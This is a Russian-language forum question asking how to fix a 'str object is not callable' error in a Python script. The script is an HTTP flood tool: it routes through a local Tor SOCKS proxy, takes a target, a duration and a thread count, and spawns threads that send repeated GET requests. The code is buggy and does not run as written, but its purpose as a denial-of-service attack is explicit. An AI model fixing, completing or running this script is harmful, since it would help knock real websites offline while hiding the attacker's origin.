TypeError: 'str' object is not callable. Как исправить? - Python

import time, socket, threading, requests, urllib, socks
 
def thread(numthreads, attack):
    threads = []
    for n in range(numthreads):
        thread = threading.Thread(target=attack)
        thread.daemon = True
        threads.append(thread)
        thread.start()
 
        thread1 = threading.Thread(target=attack)
        thread1.daemon = True
        thread1.start()
 
        threads.append(thread1)
 
def HttpTor(target, duration):
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9150, True)
    socket.socket = socks.socksocket
    timeout = time.time() + float(duration)
    sent = 0
    while 1:
        if time.time() > timeout:
            break
        else:
            pass
        sent = sent + 1
        class cl:
            request = 'http.client.HTTPConnection(target)'
        k=cl()
        k.request('GET / HTTP/1.1\nHost: '+ target + '\n\n', target)
        print(str(sent))
 
 
target = input('Target: ')
duration = input('Time: ')
numthread = input('Thread: ')
thread(numthread, HttpTor(target, duration))

k.request = 'GET / HTTP/1.1\nHost: ' + target + '\n\n'